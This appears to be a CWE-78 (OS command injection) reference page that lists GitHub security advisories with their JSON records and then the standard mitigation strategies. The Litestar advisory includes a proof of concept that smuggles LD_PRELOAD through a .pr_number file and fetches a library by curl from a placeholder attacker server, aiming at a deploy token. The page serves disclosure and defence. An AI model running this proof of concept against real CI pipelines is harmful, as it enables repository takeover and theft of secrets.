CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8341 vulnerabilities reference this CWE, most recent first.
GHSA-4HQ2-RPGC-R8R7
Vulnerability from github – Published: 2024-08-09 19:22 – Updated: 2024-08-20 18:37Withdrawn Advisory
This advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the litestar package. While the information in the advisory is still valid, users of the litestar package are not affected and do not need to receive Dependabot alerts.
Original Advisory
Summary
Litestar's docs-preview.yml workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.
Environment Variable injection (GHSL-2024-177)
The docs-preview.yml workflow gets triggered when the Tests And Linting workflow completes:
on:
workflow_run:
workflows: [Tests And Linting]
types: [completed]
Later, it downloads and extracts an artifact generated by the triggering workflow:
- name: Download artifact
uses: dawidd6/action-download-artifact@v6
with:
workflow_conclusion: success
run_id: ${{ github.event.workflow_run.id }}
path: docs-preview
name: docs-preview
And reads docs-preview/.pr_number into an Environment Variable:
- name: Set PR number
run: echo "PR_NUMBER=$(cat docs-preview/.pr_number)" >> $GITHUB_ENV
The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable after the step completes. Since the contents of the .pr_number file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.
An attacker can send a malicious .pr_number file with the following content:
111
LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so
Which will result in two Environment Variables being defined:
- PR_NUMBER=111
- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so
In this example we are manipulating the LD_PRELOAD environment variable to force the system to load a malicious shared library called inject.so. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.
The following step will run the JamesIves/github-pages-deploy-action action which will run the node command. Therefore the LD_PRELOAD will execute arbitrary code when node gets executed:
- name: Deploy docs preview
uses: JamesIves/github-pages-deploy-action@v4
with:
folder: docs-preview/docs/_build/html
token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}
repository-name: litestar-org/litestar-docs-preview
clean: false
target-folder: ${{ env.PR_NUMBER }}
branch: gh-pages
PoC
- Clone the repository
- Edit the
ci.ymlworkflow.
name: Tests And Linting
on:
pull_request:
jobs:
upload-patch:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Save PR number and payload
run: |
make payload
echo -e "${{ github.event.number }}\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so" > payload/.pr_number
curl http://<ATTACKER SERVER>/inject.so -o payload/inject.so
- name: Upload artifact
uses: actions/upload-artifact@v3
with:
name: docs-preview
path: payload
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerableDeploy documentation previewworkflow which will read the malicious artifact and pollute the Environment Variables.
Impact
This issue will grant a malicious actor the following permissions:
Issues: write
Metadata: read
PullRequests: write
In addition, the following secret will get exposed to the attacker: DOCS_PREVIEW_DEPLOY_TOKEN
Remediation
- Verify the contents of the downloaded artifacts.
- Do not allow new lines in the value redirected to GITHUB_ENV
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-42370"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-09T19:22:40Z",
"nvd_published_at": "2024-08-12T13:38:34Z",
"severity": "HIGH"
},
"details": "## Withdrawn Advisory\nThis advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar\u0027s CI/CD environment rather than the `litestar` package. While the information in the advisory is still valid, users of the `litestar` package are not affected and do not need to receive Dependabot alerts.\n\n## Original Advisory\n\n### Summary\nLitestar\u0027s `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n workflow_run:\n workflows: [Tests And Linting]\n types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n workflow_conclusion: success\n run_id: ${{ github.event.workflow_run.id }}\n path: docs-preview\n name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" \u003e\u003e $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n uses: JamesIves/github-pages-deploy-action@v4\n with:\n folder: docs-preview/docs/_build/html\n token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n repository-name: litestar-org/litestar-docs-preview\n clean: false\n target-folder: ${{ env.PR_NUMBER }}\n branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n pull_request:\n\njobs:\n upload-patch:\n runs-on: ubuntu-latest\n timeout-minutes: 10\n steps:\n - name: Save PR number and payload\n run: |\n make payload\n echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" \u003e payload/.pr_number\n curl http://\u003cATTACKER SERVER\u003e/inject.so -o payload/inject.so\n\n - name: Upload artifact\n uses: actions/upload-artifact@v3\n with:\n name: docs-preview\n path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n Issues: write\n Metadata: read\n PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).",
"id": "GHSA-4hq2-rpgc-r8r7",
"modified": "2024-08-20T18:37:01Z",
"published": "2024-08-09T19:22:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-4hq2-rpgc-r8r7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42370"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/commit/84d351e96aaa2a1338006d6e7221eded161f517b"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow",
"withdrawn": "2024-08-20T18:37:01Z"
}
GHSA-4HQQ-7Q79-932P
Vulnerability from github – Published: 2025-09-15 15:31 – Updated: 2025-09-25 20:46feiskyer/mcp-kubernetes-server through 0.1.11 allows OS command injection via the /mcp/kubectl endpoint. The handler constructs a shell command with user-supplied arguments and executes it with subprocess using shell=True, enabling injection through shell metacharacters (e.g., ;, &&, $()), even when the server is running in read-only mode.
A remote, unauthenticated attacker can execute arbitrary OS commands on the host, resulting in full compromise of confidentiality, integrity, and availability.
This issue is distinct from mcp-server-kubernetes and from CVE-2025-53355.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-kubernetes-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59377"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T21:38:22Z",
"nvd_published_at": "2025-09-15T14:15:44Z",
"severity": "CRITICAL"
},
"details": "`feiskyer/mcp-kubernetes-server` through **0.1.11** allows **OS command injection** via the `/mcp/kubectl` endpoint. The handler constructs a shell command with user-supplied arguments and executes it with `subprocess` using `shell=True`, enabling injection through shell metacharacters (e.g., `;`, `\u0026\u0026`, `$()`), even when the server is running in **read-only** mode.\n\nA remote, unauthenticated attacker can execute arbitrary OS commands on the host, resulting in full compromise of confidentiality, integrity, and availability.\n\nThis issue is **distinct from** `mcp-server-kubernetes` and from **CVE-2025-53355**.",
"id": "GHSA-4hqq-7q79-932p",
"modified": "2025-09-25T20:46:22Z",
"published": "2025-09-15T15:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59377"
},
{
"type": "PACKAGE",
"url": "https://github.com/feiskyer/mcp-kubernetes-server"
},
{
"type": "WEB",
"url": "https://github.com/feiskyer/mcp-kubernetes-server/blob/78957b6c1a3982080cf6fcaac6f6e9014116a71c/src/mcp_kubernetes_server/command.py#L38"
},
{
"type": "WEB",
"url": "https://github.com/william31212/CVE-Requests-1896609"
},
{
"type": "WEB",
"url": "https://www.tenable.com/cve/CVE-2025-59377"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mcp-kubernetes-server has an OS Command Injection vulnerability"
}
GHSA-4HVG-697F-23PR
Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-01-25 18:30Multiple vulnerabilities in Cisco Intersight Private Virtual Appliance could allow an authenticated, remote attacker to execute arbitrary commands using root-level privileges. The attacker would need to have Administrator privileges on the affected device to exploit these vulnerabilities.
These vulnerabilities are due to insufficient input validation when extracting uploaded software packages. An attacker could exploit these vulnerabilities by authenticating to an affected device and uploading a crafted software package. A successful exploit could allow the attacker to execute commands on the underlying operating system with root-level privileges.
{
"affected": [],
"aliases": [
"CVE-2023-20017"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-16T22:15:10Z",
"severity": "CRITICAL"
},
"details": "Multiple vulnerabilities in Cisco Intersight Private Virtual Appliance could allow an authenticated, remote attacker to execute arbitrary commands using root-level privileges. The attacker would need to have Administrator privileges on the affected device to exploit these vulnerabilities.\n\n These vulnerabilities are due to insufficient input validation when extracting uploaded software packages. An attacker could exploit these vulnerabilities by authenticating to an affected device and uploading a crafted software package. A successful exploit could allow the attacker to execute commands on the underlying operating system with root-level privileges.",
"id": "GHSA-4hvg-697f-23pr",
"modified": "2024-01-25T18:30:38Z",
"published": "2023-08-17T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20017"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ivpa-cmdinj-C5XRbbOy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4J38-C7M4-7F9G
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-04 18:31DrayTek Vigor3900 1.5.1.3 contains a command injection vulnerability. This vulnerability occurs when the action parameter in cgi-bin/mainfunction.cgi is set to delete_map_profile.
{
"affected": [],
"aliases": [
"CVE-2024-45882"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T15:15:21Z",
"severity": "HIGH"
},
"details": "DrayTek Vigor3900 1.5.1.3 contains a command injection vulnerability. This vulnerability occurs when the `action` parameter in `cgi-bin/mainfunction.cgi` is set to `delete_map_profile.`",
"id": "GHSA-4j38-c7m4-7f9g",
"modified": "2024-11-04T18:31:21Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45882"
},
{
"type": "WEB",
"url": "https://github.com/N1nEmAn/wp/blob/main/test_v.zip"
},
{
"type": "WEB",
"url": "https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_Vigor_3900_1.5.1.3.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J42-3RXM-869G
Vulnerability from github – Published: 2023-03-29 21:30 – Updated: 2023-04-08 03:30This vulnerability allows network-adjacent attackers to execute arbitrary commands on affected installations of D-Link DIR-2150 4.0.1 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the xupnpd service, which listens on TCP port 4044 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-15905.
{
"affected": [],
"aliases": [
"CVE-2022-3210"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-29T19:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows network-adjacent attackers to execute arbitrary commands on affected installations of D-Link DIR-2150 4.0.1 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the xupnpd service, which listens on TCP port 4044 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-15905.",
"id": "GHSA-4j42-3rxm-869g",
"modified": "2023-04-08T03:30:28Z",
"published": "2023-03-29T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3210"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10304"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1222"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J43-F29G-MH8H
Vulnerability from github – Published: 2022-03-25 00:00 – Updated: 2022-03-30 00:00Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadWeiXinPic.
{
"affected": [],
"aliases": [
"CVE-2022-27077"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-24T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadWeiXinPic.",
"id": "GHSA-4j43-f29g-mh8h",
"modified": "2022-03-30T00:00:46Z",
"published": "2022-03-25T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27077"
},
{
"type": "WEB",
"url": "https://github.com/GD008/vuln/blob/main/tenda_M3_uploadWeiXinPic/M3_uploadWeiXinPic.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J4G-X85C-8F36
Vulnerability from github – Published: 2023-03-29 21:30 – Updated: 2023-04-05 21:30This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-1935 1.03 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the handling of SetVirtualServerSettings requests to the web management portal. When parsing subelements within the VirtualServerInfo element, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-16151.
{
"affected": [],
"aliases": [
"CVE-2022-43631"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-29T19:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-1935 1.03 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the handling of SetVirtualServerSettings requests to the web management portal. When parsing subelements within the VirtualServerInfo element, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-16151.",
"id": "GHSA-4j4g-x85c-8f36",
"modified": "2023-04-05T21:30:23Z",
"published": "2023-03-29T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43631"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10310"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1502"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J52-3X46-3M7G
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox Cloud 5.0.4 may allow a privileged attacker with super-admin profile and CLI access to execute unauthorized code or commands via crafted HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2026-25836"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:18:38Z",
"severity": "HIGH"
},
"details": "An improper neutralization of special elements used in an os command (\u0027os command injection\u0027) vulnerability in Fortinet FortiSandbox Cloud 5.0.4 may allow a privileged attacker with super-admin profile and CLI access to execute unauthorized code or commands via crafted HTTP requests.",
"id": "GHSA-4j52-3x46-3m7g",
"modified": "2026-03-10T18:31:21Z",
"published": "2026-03-10T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25836"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J54-MXF6-WXX2
Vulnerability from github – Published: 2021-05-10 18:37 – Updated: 2021-07-28 21:52pomelo-monitor through 0.3.7 is vulnerable to Command Injection.It allows injection of arbitrary commands as part of 'pomelo-monitor' params.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pomelo-monitor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7620"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-07T18:24:08Z",
"nvd_published_at": "2020-04-02T21:15:00Z",
"severity": "CRITICAL"
},
"details": "pomelo-monitor through 0.3.7 is vulnerable to Command Injection.It allows injection of arbitrary commands as part of \u0027pomelo-monitor\u0027 params.",
"id": "GHSA-4j54-mxf6-wxx2",
"modified": "2021-07-28T21:52:51Z",
"published": "2021-05-10T18:37:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7620"
},
{
"type": "WEB",
"url": "https://github.com/halfblood369/monitor/blob/900b5cadf59edcccac4754e5706a22719925ddb9/lib/processMonitor.js,"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-POMELOMONITOR-173695"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in pomelo-monitor"
}
GHSA-4J66-8F4R-3PJX
Vulnerability from github – Published: 2025-07-23 06:33 – Updated: 2025-07-23 16:38All versions of the package bun are vulnerable to Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the $ shell API due to improper neutralization of user input. An attacker can exploit this by providing specially crafted input that includes command-line arguments or shell metacharacters, leading to unintended command execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "bun"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8022"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-23T16:38:39Z",
"nvd_published_at": "2025-07-23T05:15:30Z",
"severity": "HIGH"
},
"details": "All versions of the package bun are vulnerable to Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) in the $ shell API due to improper neutralization of user input. An attacker can exploit this by providing specially crafted input that includes command-line arguments or shell metacharacters, leading to unintended command execution.",
"id": "GHSA-4j66-8f4r-3pjx",
"modified": "2025-07-23T16:38:39Z",
"published": "2025-07-23T06:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8022"
},
{
"type": "WEB",
"url": "https://gist.github.com/lirantal/9780d664037f29d5277d7b2bc569d213"
},
{
"type": "PACKAGE",
"url": "https://github.com/oven-sh/bun"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-BUN-9510752"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "bun vulnerable to OS Command Injection"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
